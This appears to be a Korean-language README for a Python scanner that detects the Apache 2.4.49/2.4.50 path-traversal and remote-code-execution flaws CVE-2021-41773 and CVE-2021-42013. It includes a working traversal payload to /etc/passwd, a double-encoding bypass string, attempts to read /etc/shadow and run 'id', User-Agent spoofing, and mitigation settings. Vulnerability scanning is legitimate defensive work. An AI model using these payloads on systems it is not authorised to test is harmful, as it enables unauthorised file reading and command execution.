
Apache HTTP Server 2.4.49 및 2.4.50 버전에서 CVE-2021-41773 및 CVE-2021-42013 경로 탐색 및 원격 코드 실행 취약점을 탐지하는 포괄적인 Python 기반 취약점 스캐너입니다.
Apache HTTP Server 2.4.49 및 2.4.50 버전에서 CVE-2021-41773 및 CVE-2021-42013 경로 순회(path traversal) 및 원격 코드 실행(remote code execution) 취약점을 탐지하는 포괄적인 Python 기반 취약점 스캐너입니다.
CVE-2021-41773 및 CVE-2021-42013은 Apache HTTP Server에 영향을 미치는 치명적인 취약점으로, 공격자가 다음을 수행할 수 있게 합니다:
이러한 취약점은 2021년 10월에 광범위한 주목을 받았으며 실제 환경에서 활발하게 악용되었습니다.
.%2e)가 디렉터리 제한을 우회하도록 허용하는 잘못된 경로 정규화/etc/passwd와 같은 민감한 파일 읽기, mod_cgi가 활성화된 경우 임의의 명령 실행%%32%65)을 통한 우회 허용✅ 이중 CVE 탐지: CVE-2021-41773 및 CVE-2021-42013 모두 테스트 ✅ 경로 순회 테스트: 파일 접근 시도를 위한 다양한 페이로드 변형 ✅ RCE 테스트: mod_cgi가 활성화된 경우 원격 코드 실행 확인 ✅ 배치 스캔: 파일에서 여러 대상 스캔 ✅ 색상 구분 출력: 읽기 쉬운 포맷의 결과 표시 ✅ 사용자 지정 타임아웃: 불안정한 네트워크를 위한 조정 가능한 요청 타임아웃 ✅ User-Agent 스푸핑: 기본 필터링 메커니즘 우회
requests 라이브러리colorama 라이브러리https://github.com/drackyjr/CVE-2021-42013.git
cd cve-2021-41773-42013
pip3 install -r requirements.txt
또는 수동으로 설치:
pip3 install requests colorama
python3 cve_scanner.py -u http://192.168.1.100
python3 cve_scanner.py -u https://target.com
python3 cve_scanner.py -u http://target.com -t 15
python3 cve_scanner.py -l targets.txt
python3 cve_scanner.py -h
python3 cve_scanner.py -u http://192.168.1.100
targets.txt 생성:
http://192.168.1.100
https://example.com:8080
http://10.0.0.50
https://vulnerable.server.com
그런 다음 실행:
python3 cve_scanner.py -l targets.txt -t 15
python3 cve_scanner.py -u http://target.com -t 30
스캐너는 다음을 포함한 상세한 출력을 제공합니다:
출력 예시:
============================================================
CVE-2021-41773 / CVE-2021-42013 Vulnerability Scanner
============================================================
[*] Target: http://192.168.1.100
[*] Testing CVE-2021-41773 (Apache 2.4.49)...
[+] VULNERABLE to CVE-2021-41773!
[+] Payload: /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
[+] Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
============================================================
Scan Summary
============================================================
[!] Target is VULNERABLE!
[!] Immediate patching required!
[*] Recommendation: Upgrade to Apache HTTP Server 2.4.51 or later
============================================================
.%2e)로 요청 전송/cgi-bin/, /icons/, /images/) 대상 지정/etc/passwd 및 /etc/shadow 읽기 시도%%32%65)로 요청 전송id 명령을 실행하여 코드 실행 확인uid= 및 gid= 확인스캐너는 다음을 찾습니다:
/etc/passwd의 root: 또는 daemon: 항목이 포함됨id 명령 실행 결과 uid= 및 gid=가 포함됨<Directory />
Require all denied
</Directory>
# Restrict access to sensitive directories
<Directory /cgi-bin>
Require all denied
</Directory>
# Disable symbolic links if not needed
Options -FollowSymLinks
# Enable security headers
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
# Check Apache version
apache2 -v
httpd -v
| 버전 | 상태 | 조치 |
|---|---|---|
| 2.4.49 | ❌ 취약 | 즉시 업그레이드 |
| 2.4.50 | ⚠️ 부분 패치됨 | 2.4.51+로 업그레이드 |
| 2.4.51+ | ✅ 패치됨 | 조치 불필요 |
⚠️ 중요: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 승인되지 않은 컴퓨터 시스템 접근은 CFAA(Computer Fraud and Abuse Act) 및 전 세계의 유사 법률에 따라 불법입니다.
승인된 사용만 허용:
오용 경고: 사용자는 대상을 테스트하기 전에 명시적 승인을 받았는지 확인할 책임이 있습니다. 저자는 승인되지 않은 사용에 대해 어떠한 책임도 지지 않습니다.
이 스캐너는 다음에 적합합니다:
.
├── cve_scanner.py # Main scanner script
├── requirements.txt # Python dependencies
├── README.md # This file
├── targets.txt # Example target list
└── LICENSE # License information
requests==2.28.1
colorama==0.4.5
http://192.168.1.100
https://vulnerable.example.com
http://10.0.0.50:8080
해결 방법: -t 옵션으로 타임아웃 증가
python3 cve_scanner.py -u http://target.com -t 30
해결 방법: 스크립트는 기본적으로 SSL 검증을 비활성화합니다. 문제가 지속되면 Python 인증서가 업데이트되었는지 확인하세요:
pip3 install --upgrade certifi
해결 방법: 모든 의존성이 설치되었는지 확인
pip3 install -r requirements.txt
해결 방법: 스크립트를 실행 가능하게 설정
chmod +x cve_scanner.py
python3 cve_scanner.py -u http://target.com
-l 사용기여를 환영합니다! 기여 방법:
git checkout -b feature/improvement)git commit -m 'Add improvement')git push origin feature/improvement)다음을 확인해 주세요:
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
보안 테스트 도구
교육 및 승인된 보안 테스트 목적으로 제작되었습니다.
질문, 문제 또는 제안 사항이 있으면 GitHub에 이슈를 열어 주세요.
최종 업데이트: 2025년 11월
상태: 활발한 개발 중
테스트 환경: Python 3.8+, Apache 2.4.49, 2.4.50
| 인자 | 단축 | 유형 | 설명 |
|---|
--url | -u | STRING | 대상 URL (예: http://example.com) |
--list | -l | FILE | 대상 목록이 포함된 파일 (줄당 하나) |
--timeout | -t | INTEGER | 요청 타임아웃(초) (기본값: 10) |